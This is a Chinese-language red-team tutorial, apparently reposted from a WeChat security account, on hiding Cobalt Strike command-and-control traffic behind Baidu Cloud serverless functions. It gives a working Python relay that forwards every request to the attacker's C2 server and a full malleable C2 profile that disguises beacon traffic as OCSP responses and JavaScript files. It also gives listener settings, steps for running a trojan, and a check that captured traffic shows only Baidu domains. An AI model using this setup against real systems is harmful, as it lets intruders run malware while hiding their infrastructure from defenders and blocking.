本公众号提供的资料和信息仅供学习交流,不得用于非法用途;
对于因使用本公众号内容而产生的任何直接或间接损失,本公众号不承担任何责任;
本公众号尊重他人的知识产权,如有侵犯您的合法权益,请及时联系我们,我们将尽快处理。
原文链接:https://www.securepulse.website/archives/c2yunhanshu%20
一、云函数介绍
-
云函数是一种无服务器(Serverless)计算服务,开发者只需上传代码并设置触发条件,云平台负责自动分配资源、执行代码并按需收费。其核心特点是事件驱动和无服务器架构,用户无需管理底层服务器、操作系统或运维资源。 -
原理
-
事件触发:云函数通过事件(如HTTP请求、文件上传、数据库变更等)触发执行,用户预先将代码部署到云平台,并绑定事件源(如API网关、对象存储、消息队列等)。 -
资源分配:当事件发生时,云平台动态分配计算资源(如容器实例)加载代码运行,执行完毕后立即释放资源,避免闲置成本。 -
自动扩缩容:高并发时云函数自动复制多个实例并行处理请求,流量下降时自动缩减实例,实现弹性伸缩。 -
按需计费:根据实际执行的代码时长和内存消耗计费,而非预付费或固定服务器成本。
二、云函数在红队中的运用
-
云函数可以用于攻击防溯源,隐匿自己的C2的ip,从蓝队的角度来讲,会看到一个主机的联网行为会非常奇怪,这个主机会跟多个节点有反向连接,但节点是代理池的表现形式(比如多个ip,或者说是一个主域名的多个子域名); -
从红队角度来讲就是隐藏,类似于域前置,相当于被攻击者控制的那台主机,通过代理池的表现形式(多节点)的方式回到了C2某个端口上; -
也就是说可以利用云厂商提供的云函数功能,将客户端的请求进行转发,并且由于云函数拥有非常多的出口IP,所以一定程度上可以减小IP被封禁的影响,也能隐藏攻击者的源IP。 -
流量走向
三、通过云函数搭建代理池,隐藏C2地址(百度云举例)
-
登录百度云,使用函数计算服务
-
地址:https://cloud.baidu.com/product/cfc.html
-
创建函数-->空白函数
-
填写基础信息(选择Python3.6)
-
触发器设置:选择http触发器、URL路径填写 {path+}
,HTTP方法全选,然后点提交
-
点击进入代码编辑页
-
输入以下代码然后保存
# -*- coding: utf-8 -*-
# def handler(event, context):
# return "Hello World"
import json,requests,base64
def handler(event, context):
C2='https://VPS地址(C2服务端):443'# 这里可以使用 HTTP、HTTPS~下角标~
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
#return event
return response
-
在CS客户端所在目录放置profile文件,并且启动时调用该profile文件
-
文件内容如下
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
-
创建监听器
-
HTTP地址在触发器这里输入云函数提供的域名(要把 https://
去掉,还要把末尾的/{path+}
也去掉)
-
注意:这里的Beacon类型和端口号要和前面云函数代码规定的 C2='https://VPS地址(C2服务端):443'
保持一致(此时为https协议,443端口)
-
此时生成木马,在测试机上执行上线
-
然后在测试机上通过wireshark抓取流量,由于恶意木马会从受害者本地解析云函数地址,因此DNS流量中可以看到云函数地址为百度的子域名而不是攻击者的ip
-
在科来分析工具上也能看到识别的不是攻击者VPS的ip
原文始发于微信公众号(SecurePulse):C2流量隐藏-云函数
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论